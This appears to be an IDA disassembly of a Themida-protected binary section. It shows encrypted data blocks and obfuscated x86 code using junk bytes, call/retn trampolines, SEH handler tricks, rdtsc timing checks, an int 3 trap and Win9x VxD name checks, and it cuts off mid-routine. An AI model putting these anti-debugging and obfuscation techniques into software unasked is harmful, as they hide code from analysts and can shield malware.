		dd 81665041h, 0FE5449F3h, 33EB75CEh, 4FD333C8h,	0D2F7D575h
		dd 0C28BD1F7h, 6610C0C1h, 3B5AC18Bh, 5E0F74D0h,	0FF04C683h
		dd 0FA154D85h, 0FF5DE907h, 0E95EFFFFh, 14h, 0ED27A852h
		dd 0CAD85D2Ah, 2973C91Ch, 0C61495BBh, 9BEEDF42h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0AFC35040h, 0E5C68160h
		dd 91198EDh, 0FA0E8D8Dh, 29606107h, 0FA2D4595h,	10E907h
		dd 12B40000h, 81B91087h, 431F5343h, 0F38B24D1h,	8B615F21h
		dd 0FA154D85h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0BF0F60EEh, 0FE8F6h, 58E0000h
		dd 429BDC42h, 36BE0F22h, 0C819B733h, 159D89E0h,	5B07FA0Bh
		dd 6AE0D161h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 8143C353h, 27D58503h, 852907FAh
		dd 7FA0A71h, 14E9h, 1C4D4400h, 0DA477B9Ah, 9D5E314Bh, 3EDF125Ch
		dd 7E7AED37h, 60F62B9Ch, 6175CF80h, 55006A96h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 0A27B9719h
		dd 296B11DDh, 0FA1C6185h, 12E907h, 11540000h, 0BED63E1Ch
		dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 6AAD66h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 6E0D71C3h
		dd 59D0160h, 3307FA26h,	0FA0A699Dh, 0E0C16107h,	50006A02h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 3ADBCCE0h, 5E9C5h, 2A7E0000h, 0FCE5F80h, 888h, 2870F00h
		dd 60000000h, 71850361h, 0F907FA0Fh, 15840F96h,	0E9000000h
		dd 10h,	2ED4E2EBh, 6A3BC7B4h, 4B5EB7F2h, 54FEA495h, 7C81F5ADh
		dd 2424h, 870F1000h, 15Eh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 7EC35141h, 0F6C85FAAh, 525090F8h, 11E9h
		dd 0A6CE1500h, 0E84DD8h, 16E60F5Ah, 0F1DE1F38h,	310FEE0Dh
		dd 28B0Fh, 61600000h, 0E950585Ah, 14h, 9804750Fh, 0D07FA7B3h
		dd 0EBBDE01Bh, 0C9FB1E6Ch, 5E581A90h, 52006A90h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 36B301Dh, 8A086D24h,	896060FCh, 0FA0F459Dh, 12E907h
		dd 9EA90000h, 0FC94113Ch, 0C59F6EF9h, 0E7AA5693h, 7B7A9895h
		dd 0D8B70F61h, 24448B61h, 0BF0F6028h, 0C18166DFh, 90612D2Ah
		dd 8E0F5250h, 6, 310F5250h, 310F585Ah, 108B0Fh,	0BE90000h
		dd 81000000h, 67EEF362h, 7663E2A8h, 585AE376h, 0D880F50h
		dd 0E9000000h, 8, 5D6186ADh, 6359D99Dh,	56006A90h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 0B589C578h, 7FA349Dh, 72FF858Dh, 6A07FDh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 11E9E2C3h
		dd 1C000000h, 150450CBh, 9A9B9456h, 61081AA0h, 8F054DCFh
		dd 9D89D0FFh, 7FA06A9h,	20199589h, 440307FAh, 66602424h
		dd 8B0177BAh, 0FA1BC9BDh, 44896107h
		dd 6A1C24h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 5296D2C3h, 6425709h, 893C7E1Ah, 0FA257595h
		dd 6585C607h, 7FA06h, 0A54D85C7h, 7FDh,	85C70000h, 7FDA3B5h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BE84B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE84B	proc near		; CODE XREF: Themida_:005BE843p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Bh
		inc	ebx
		push	ebx
		retn
sub_5BE84B	endp

; ---------------------------------------------------------------------------
		db 5Eh
		dd 0D5438399h, 0F954D275h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 5FC35242h, 3281A6B9h,	8942C0C6h, 0FA291195h
		dd 2961F507h, 0FA1CB985h, 8C207h, 28FD9589h, 858B07FAh
		dd 7FA0F71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	0ACC35141h, 5E9D9h, 0E22A0000h,	4A19F89Dh, 9E9h
		dd 5CF7D100h, 4B38A20Ch, 0D26B71DFh, 0C203F904h, 16618531h
		dd 6A9607FAh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 60AEC351h, 0E8EEE881h,	0F78179EEh
		dd 3562B174h, 6AAD61h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 331288C3h, 88F68F53h, 6A19589h
		dd 7C8107FAh, 2424h, 870F1000h,	100h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 14h, 49C35141h, 0ED19531h, 850907FAh
		dd 7FA08CDh, 0F525050h,	680h, 0F525000h, 0F585A31h, 28C0F31h
		dd 60000000h, 89585A61h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 9DA013C3h, 790434BEh
		dd 6880FF5h, 89000000h,	0FA0FAD9Dh, 24448B07h, 598D3128h
		dd 5007FA23h, 13E9h, 9259F600h,	0F62A3C69h, 33DA9F3Dh
		dd 0CD8C6B9Bh, 0E4BDDB25h, 6A240489h, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 417C357h
		dd 0FF858DFCh, 6A07FD72h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0FC2DC350h,	0EA309640h
		dd 0BD8907E8h, 7FA0B15h, 11E9D0FFh, 62000000h, 284ABAE0h
		dd 3DE9E3BDh, 8D3138A8h, 166B355Fh, 0FFFD99E9h,	57006AFFh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0AA5B9B83h, 850F5F8Ah, 10h, 0BE9h, 0E92E4300h, 0D7807252h
		dd 0A1E670D1h, 0B959858Dh, 890F07FDh, 7, 1870Fh, 50F90000h
		dd 0E8605250h, 0Ah, 0F58D17A2h,	51D85A4Bh, 0BE5ACD21h
		dd 4A50368Dh, 60310F61h, 525077B2h, 585A310Fh, 89585A61h
		dd 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 6660E3C3h, 8104FABAh, 0A49FAED2h,	9D89610Fh
		dd 7FA34C9h, 35FF64h, 0F000000h, 0C87h,	68D0F00h, 89000000h
		dd 0FA0E658Dh, 0C1BD0107h, 8B07FA0Eh, 89F92404h, 0FA0E9185h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0F53A2AF8h, 258964h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0A2D2C355h, 0F09435CEh, 898AB260h, 0FA0F9DBDh, 858D6107h
		dd 7FDB780h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0F1C35747h, 1DF5B4Eh, 8934611Fh, 0FA202D9Dh, 1608907h
		dd 2D858589h, 20E907FAh, 31000002h, 0FA10BD8Dh,	79852907h
		dd 8B07FA0Ah, 0E8DBh, 815D0000h, 0FDB779EDh, 0FF9CBC07h
		dd 0BD830012h, 7FA2C05h, 8B187400h, 0FA161585h,	0C607h
		dd 17D1858Bh, 0C607FAh,	0BD95FF00h, 6007FA0Eh, 9FB9B5FFh
		dd 858D07FDh, 7FD9FBDh,	0B5858D50h, 5007FDA1h, 0DC595FFh
		dd 0C48307FAh, 6A610Ch,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 60C0D3C3h, 2880Fh, 61600000h, 5830Fh
		dd 81660000h, 61FF2DF7h, 0AE9h,	6238A300h, 0B08CE0C4h
		dd 6ADD55F2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 7CD4C351h, 0AE94Eh, 271B0000h
		dd 124FBEE6h, 0CC5CB780h, 0A1B5B58Dh, 16007FDh,	0FA1F099Dh
		dd 0C38B6607h, 11BD8D61h, 6A07FA03h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1B73C352h
		dd 5B6F6265h, 798D2960h, 0B807FA2Ch, 65E441D4h,	3E8061h
		dd 47840Fh, 0E8600000h,	0Eh, 0F12EFB45h, 9387ABFDh, 2259E618h
		dd 0B8662834h, 665B6722h, 0A203E681h, 9E9A461h,	9B000000h
		dd 1876FDCAh, 0E8E54E73h, 0FFFFC4E9h, 19B589FFh, 6007FA2Eh
		dd 0FF0B70Fh, 380h, 0C6BF0F00h,	0FC02B61h, 0C87h, 6860F00h
		dd 9000000h, 0FA0F69BDh, 8E0FAA07h, 6, 30BDB501h, 7B807FAh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0BCC5C355h, 6E951h, 0F7DF0000h
		dd 81D6CB0Ah, 0D85C7h, 107FAh, 0BD290000h, 7FA0B4Dh, 4F668D8Dh
		dd 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 899753C3h, 0FA2BF5B5h, 0F8E1FF07h, 15658D31h
		dd 5C8B07FAh, 0E8550C24h, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7FDB963h
		mov	eax, [ebx+0B8h]
		mov	[ebp+7FD9FB9h],	eax
		lea	eax, [ebp+7FDB772h]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		jo	loc_5BEDD9
		jg	loc_5BEDD9
		mov	[ebp+7FA0055h],	ecx


loc_5BEDD9:				; CODE XREF: Themida_:005BEDC7j
					; Themida_:005BEDCDj
		push	0
		push	ebx
		call	sub_5BEDE4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEDE4	proc near		; CODE XREF: Themida_:005BEDDCp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5BEDE4	endp

; ---------------------------------------------------------------------------
		cli
		mov	[ebp+7FA2F35h],	edx
		pusha
		pusha
		mov	edx, edi
		mov	si, ax
		popa
		lea	eax, [ebp+7FDBB7Eh]
		push	0
		push	ecx
		call	sub_5BEE14
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEE14	proc near		; CODE XREF: Themida_:005BEE0Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5BEE14	endp

; ---------------------------------------------------------------------------
		xchg	eax, esp
		inc	edx
		adc	eax, 0F8CD3804h
		nop
		pusha
		mov	bx, ax
		jmp	loc_5BEE45
; ---------------------------------------------------------------------------
		db 1Ch,	48h, 0FAh
		dd 0A382257Ah, 95E2B26Fh, 5BCD9275h
		db 0D4h
; ---------------------------------------------------------------------------


loc_5BEE45:				; CODE XREF: Themida_:005BEE30j
		popa
		push	eax
		jge	loc_5BEE65
		push	eax
		push	edx
		pusha
		popa
		rdtsc
		jmp	loc_5BEE63
; ---------------------------------------------------------------------------
		dd 0DEBF06A1h, 0EDB29091h
		db 0C7h, 1Ah, 5
; ---------------------------------------------------------------------------


loc_5BEE63:				; CODE XREF: Themida_:005BEE53j
		pop	edx
		pop	eax


loc_5BEE65:				; CODE XREF: Themida_:005BEE47j
		nop
		jmp	loc_5BEE73
; ---------------------------------------------------------------------------
		db 4Ch
; ---------------------------------------------------------------------------
		mov	dl, 0D1h
		add	eax, 1183871Bh


loc_5BEE73:				; CODE XREF: Themida_:005BEE66j
		push	large dword ptr	fs:0
		push	0
		push	eax
		call	sub_5BEE85
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEE85	proc near		; CODE XREF: Themida_:005BEE7Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_5BEE85	endp

; ---------------------------------------------------------------------------
		pop	ebp
		mov	ebp, edx
		mov	cl, 64h
		mov	large ds:0, esp
		or	[ebp+7FA2F01h],	eax
		mov	[ebp+7FA2A39h],	eax
		lea	eax, [ebp+7FDBBDCh]
		push	0
		push	edi
		call	sub_5BEEBD
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEEBD	proc near		; CODE XREF: Themida_:005BEEB5p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 16h
		inc	edi
		push	edi
		retn
sub_5BEEBD	endp

; ---------------------------------------------------------------------------
		dec	edi
		fisub	word ptr [ecx-7]
		mov	[eax+1], esp
		push	0
		push	edx
		call	sub_5BEEDF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEEDF	proc near		; CODE XREF: Themida_:005BEED7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5BEEDF	endp

; ---------------------------------------------------------------------------
		and	[esi], ah
		inc	esp
		sub	cl, dh
		pusha
		push	ecx
		stc
		pop	edx
		push	edi
		jns	$+6
		pop	ecx
		popa
		jno	loc_5BEF13
		jg	loc_5BEF13
		mov	[ebp+7FA1CE5h],	edi


loc_5BEF13:				; CODE XREF: Themida_:005BEF01j
					; Themida_:005BEF07j
		jb	loc_5BEF1F
		sub	[ebp+7FA2F41h],	edi


loc_5BEF1F:				; CODE XREF: Themida_:loc_5BEF13j
		mov	byte ptr [ebp+7FA0665h], 4Fh
		jmp	loc_5BEF3C
; ---------------------------------------------------------------------------
		db 23h
		dd 40DC4163h, 0B2DDDD36h, 82AB5278h, 3BF1C4F9h
; ---------------------------------------------------------------------------


loc_5BEF3C:				; CODE XREF: Themida_:005BEF26j
		push	0DA385140h
		jmp	loc_5BEF5A
; ---------------------------------------------------------------------------
		dw 12E8h
		dd 503ADC53h, 21215D1Dh, 0B806503Dh, 0D23AF621h
		db 0D3h, 0ADh
; ---------------------------------------------------------------------------


loc_5BEF5A:				; CODE XREF: Themida_:005BEF41j
		xor	dword ptr [esp], 24F0256Ah
		mov	[ebp+7FA1749h],	edi
		push	dword ptr [ebp+7FA2095h]
		add	[ebp+7FA1F75h],	edi
		lea	eax, [ebp+7FDA3DDh]
		sub	[ebp+7FA2DB5h],	eax
		call	eax
		push	0
		push	eax
		call	sub_5BEF8C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BEF8C	proc near		; CODE XREF: Themida_:005BEF84p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5BEF8C	endp

; ---------------------------------------------------------------------------
		cld
		dec	ecx
		retn	0D0C6h
; ---------------------------------------------------------------------------
		clc
		push	edx
		jmp	loc_5BF01D
; ---------------------------------------------------------------------------
		pusha
		mov	bx, ax
		mov	[ebp+7FA2F61h],	eax
		popa
		jg	loc_5BEFBF
		mov	[ebp+7FA23D1h],	ebx


loc_5BEFBF:				; CODE XREF: Themida_:005BEFB3j
		mov	ebx, [esp+0Ch]
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7FDBB88h
		mov	eax, [ebp+7FA08A5h]
		mov	[ebp+7FA2095h],	eax
		mov	eax, [ebp+7FA0515h]
		mov	[ebp+7FA2279h],	eax
		mov	eax, [ebp+7FA0AF5h]
		mov	[ebp+7FA1F35h],	eax
		mov	byte ptr [ebp+7FA0665h], 0
		mov	dword ptr [ebp+7FDA54Dh], 0
		lea	eax, [ebp+7FDBBDCh]
		mov	[ebx+0B8h], eax
		pop	ebp
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		clc
		sub	[ebp+7FA0B61h],	esi
		clc


loc_5BF01D:				; CODE XREF: Themida_:005BEFA3j
		mov	esp, 12FF74h
		sub	[ebp+7FA1BE5h],	esi
		pop	large dword ptr	fs:0
		push	0
		push	ecx
		call	sub_5BF03A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF03A	proc near		; CODE XREF: Themida_:005BF032p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5BF03A	endp

; ---------------------------------------------------------------------------
		dw 7B62h
; ---------------------------------------------------------------------------
		dec	edi
		or	[ecx-5D0567Bh],	ecx
		pop	es
		add	esp, 4
		push	0
		push	ebx
		call	sub_5BF062
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF062	proc near		; CODE XREF: Themida_:005BF05Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5BF062	endp

; ---------------------------------------------------------------------------
		dw 0CE0Eh
		dd 63391589h, 0A287C417h, 0FE861h, 4CE50000h, 1FE4AB1Ch
		dd 80185DEAh, 976CD27Dh, 589ABBF4h, 0BB5F56D3h,	73EF78E4h
		dd 6A2AC781h, 81660000h, 0B97D18DBh, 0
; ---------------------------------------------------------------------------
		push	ecx
		sub	[ebp+7FA0D35h],	edx
		pop	ebx


loc_5BF0B4:				; CODE XREF: Themida_:005BF165j
		push	dword ptr [ecx+edi]
		add	esi, [ebp+7FA296Dh]
		pop	eax
		sbb	si, 499Fh
		add	eax, 2C8347F2h
		mov	[ebp+7FA1E29h],	esi
		xor	eax, 4DDCBE71h
		jmp	loc_5BF0EA
; ---------------------------------------------------------------------------
		dw 0FFC6h
		dd 0D03891B6h, 0A182437Ah, 8C8A392Ah
; ---------------------------------------------------------------------------
		and	ch, cl


loc_5BF0EA:				; CODE XREF: Themida_:005BF0D5j
		sub	eax, 5ACA43AFh
		jle	loc_5BF10F
		jmp	loc_5BF10F
; ---------------------------------------------------------------------------
		stosd
		test	eax, 6515CD7Ch
		cld
		pop	eax
		mov	al, ds:7163D328h
		db	2Eh
		dec	edi
		add	ah, [edi-74h]
		or	ecx, ebx


loc_5BF10F:				; CODE XREF: Themida_:005BF0F0j
					; Themida_:005BF0F6j
		push	eax
		push	edi
		jno	loc_5BF11D
		mov	edx, [ebp+7FA0B3Dh]


loc_5BF11D:				; CODE XREF: Themida_:005BF111j
		pop	esi
		pop	dword ptr [edi+ecx]
		mov	esi, edx
		jmp	loc_5BF12D
; ---------------------------------------------------------------------------
		dd 8BF7161Fh
		db 0C4h
; ---------------------------------------------------------------------------


loc_5BF12D:				; CODE XREF: Themida_:005BF123j
		sub	ecx, 1
		mov	[ebp+7FA0D21h],	edx
		dec	ecx
		dec	ecx
		dec	ecx
		mov	si, 3A35h
		cmp	ecx, 0FFFF96CCh
		jnz	loc_5BF15F
		movzx	edx, si
		jmp	loc_5BF17C
; ---------------------------------------------------------------------------
		db 0C4h, 0F1h, 3Bh
		dd 7B1918ECh, 0B5DEBB9Ch
; ---------------------------------------------------------------------------
		div	byte ptr [esi+63h]


loc_5BF15F:				; CODE XREF: Themida_:005BF143j
		mov	esi, [ebp+7FA2B91h]
		jmp	loc_5BF0B4
; ---------------------------------------------------------------------------
		dw 0C4E1h
		dd 7E474F19h, 8A3715C7h, 784C015Ah, 0EC8FA9DCh
; ---------------------------------------------------------------------------


loc_5BF17C:				; CODE XREF: Themida_:005BF14Cj
		jmp	short loc_5BF1B2
; ---------------------------------------------------------------------------
aIfsmgrVkdVmmVw	db 'IFSMGR  VKD     VMM     VWIN32  VXDLDR  ',0
		align 4
		dd 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5BF1B2:				; CODE XREF: Themida_:loc_5BF17Cj
		jmp	loc_5BF959
; ---------------------------------------------------------------------------
		pusha
		sub	eax, 46EA4BDAh
		popa
		pusha
		push	0
		push	edi
		call	sub_5BF1CB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF1CB	proc near		; CODE XREF: Themida_:005BF1C3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5BF1CB	endp

; ---------------------------------------------------------------------------
		db 34h
		dd 0E96AE2D9h, 6, 2FDF8948h, 85C7C299h,	7FDBD65h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5BF1FF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF1FF	proc near		; CODE XREF: Themida_:005BF1F7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5BF1FF	endp

; ---------------------------------------------------------------------------
		db 1Ch
		dd 60604F95h, 12E8h, 50CE1700h,	0F8C0DCC1h, 3EB89D22h
		dd 6F128CDAh, 5F0545CBh, 0E8615F52h, 0Ch, 531C94F1h, 51D40BA6h
		dd 90CE5725h, 0FE9h, 0B2037900h, 96AC0A2Eh, 0A6953D84h
		dd 6A967AD5h, 0C68B6159h, 11870Fh, 8C0F0000h, 0Bh, 6E9h
		dd 0B1AC3B00h, 0F9A78AAh, 6AD8B7h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 1B9CDBC3h, 7C4062DCh
		dd 6660AEBAh, 37ACF081h, 3850Fh, 0BF0F0000h, 0E8C161C8h
		dd 0BF0F6010h, 2B03BFC9h, 0F614F6Fh, 188h, 0C166FC00h
		dd 6A08C8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0BEEB57C3h, 0DBA0217Ah, 9BBB6660h, 858961E3h
		dd 7FDBD69h, 0E6816660h, 8C0F672Ah, 0Eh, 8E8h, 0FA103200h
		dd 0C6C4F872h, 66615AF2h, 0F08CBC1h, 18Ah, 0FB83F500h
		dd 0AB850F40h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 493BC355h, 40EC2307h
		dd 6017AAA6h, 0EF8190B7h, 1B482C67h, 5E96061h, 0FF000000h
		dd 5C193340h, 12E8h, 50282700h,	6802569Bh, 8E7E71Ch, 7C75024h
		dd 8ABAA9C1h, 8D615BE2h, 0FDBD3DBDh, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1904h,	0C3534300h, 589156D8h
		dd 66600F9Fh, 0E953C78Bh, 0Bh, 0C7EE931Dh, 0AED87105h
		dd 5FD819E7h, 172E961h,	0E9600000h, 7, 81B91087h, 811F5343h
		dd 0BB960DE1h, 0FB836140h, 59850F0Dh, 0E9000000h, 14h
		dd 0C92E63DAh, 2374422Dh, 33FA330Bh, 0E2ACF63Bh, 0BA8D1ABFh
		dd 0BD45BD8Dh, 6A07FDh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0E90753C3h, 12h,	0EE67762h, 723CD16Bh
		dd 5758D95Ah, 0A30D648Bh, 0FDE98DA0h, 0F5000000h, 0F01FB83h
		dd 5C85h, 0BD8DF800h, 7FDBD4Dh,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 0FAC35141h,	873B824Dh, 41C50563h
		dd 0C2E9AEh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 7FC4CFC3h, 7890Fh, 850F0000h, 1
		dd 2AFB83F8h, 52850Fh, 8DFC0000h, 0FDBD55BDh, 11E907h
		dd 0B8440000h, 7CB8FB7Fh, 0C7719A72h, 316313EEh, 0E996D646h
		dd 6Ch,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h
		dd 9CC35040h, 870FDB98h, 0Ch, 6860Fh, 830F0000h, 0
; ---------------------------------------------------------------------------
		cmp	ebx, 27h
		jnz	loc_5BF7F4
		pusha
		movzx	esi, dx
		popa
		jno	loc_5BF4FD
		clc


loc_5BF4FD:				; CODE XREF: Themida_:005BF4F6j
		lea	edi, [ebp+7FDBD5Dh]
		push	0
		push	ebp
		call	sub_5BF50E
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF50E	proc near		; CODE XREF: Themida_:005BF506p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5BF50E	endp

; ---------------------------------------------------------------------------
		mov	dl, 82h
		cli
		int	3		; Trap to Debugger
		push	ebp
		pop	ss
		mov	[ebp+7FDBD6Dh],	edi
		push	0
		push	edi
		call	sub_5BF535
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF535	proc near		; CODE XREF: Themida_:005BF52Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5BF535	endp

; ---------------------------------------------------------------------------
		db 0AAh, 7Eh, 0Fh
		dd 1E80h, 9E86000h, 6E000000h, 5B9030BCh, 9156D889h, 7E85Eh
		dd 405D0000h, 126661E1h, 66615911h, 24F5C88Ch, 55006A03h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 0A85FCA2Dh, 0FF08A60h, 283h,	61616000h, 0FC00AFCh, 1CF85h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 0DAA5C844h, 8DFA52A1h, 0FDC420B5h, 858BFC07h
		dd 7FDC4B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ch,	42C35545h, 0CCA2D8C5h, 0FBCA611Dh, 0E3816060h
		dd 675C27D4h, 61D38B66h, 10E9h,	0C98B2A00h, 0C8778480h
		dd 71C17F1Eh, 2B0EA65Ch, 0F926128h, 1383h, 0CE96000h, 0F6000000h
		dd 64C426A0h, 459B75B4h, 615967D5h, 14E950h, 67020000h
		dd 0EDD9098Ch, 519D659Ch, 9A077ACCh, 0A3AA0AF4h, 6A92FAD7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 30B3C356h, 3798C8A1h, 2CE81997h, 0DE860h
		dd 0AC4E0000h, 0CD2F135Ah, 11AC9B96h, 0FD8CB24h, 8Eh, 830F5E00h
		dd 3, 61C38B66h, 1C840Fh, 0E9600000h, 14h, 0CAD34110h
		dd 12624605h, 697C6595h, 59132C76h, 56597255h, 10F61FCh
		dd 60FE244Ch, 61F38AF5h, 830FFC5Ah, 1, 24C283F8h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0A9C35646h, 0F606E89h
		dd 6E9F2BFh, 65000000h,	12047710h, 566061F7h, 0C714F181h
		dd 815A2DF3h, 543CEFC8h, 89666124h, 6AFC72h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 9422F9C3h
		dd 10CEC1F5h, 88D0Fh, 800F0000h, 2, 89666160h, 0AE90272h
		dd 0BF000000h, 17C28017h, 72F442ADh, 0F904CD22h, 78E9h
		dd 11850F00h, 0F000000h, 0B8Eh,	6E900h,	1340000h, 7C53B266h
		dd 0C4B9858Bh, 8DF807FDh, 0FDC420B5h, 7810F07h,	60000000h
		dd 0E5805957h, 858D6162h, 7FD7DE2h, 7890Fh, 0F600000h
		dd 0D98BF6BFh, 60D0FF61h, 17840Fh, 12E90000h, 15000000h
		dd 3C195325h, 4895177Ah, 5030FCFDh, 0C39D4F3h, 0EE969h
		dd 0B6D0000h, 9551E495h, 0C64727A2h, 46EB5FC3h,	65858961h
		dd 0F807FDBDh, 12850Fh,	0DE90000h, 33000000h, 868EDDC1h
		dd 6E154C0Ch, 0B9913903h
; ---------------------------------------------------------------------------


loc_5BF7F4:				; CODE XREF: Themida_:005BF4EBj
		popa
		cmc
		jmp	loc_5BF802
; ---------------------------------------------------------------------------
		db 33h
		dd 15FC50B3h
		db 9Eh,	70h
; ---------------------------------------------------------------------------


loc_5BF802:				; CODE XREF: Themida_:005BF7F6j
		mov	eax, [ebp+7FDBD65h]
		push	0
		push	ebx
		call	sub_5BF813
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BF813	proc near		; CODE XREF: Themida_:005BF80Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5BF813	endp

; ---------------------------------------------------------------------------
		mov	ds:0EA5501F5h, eax
		fucomi	st, st
		pusha
		jmp	loc_5BF83D
; ---------------------------------------------------------------------------
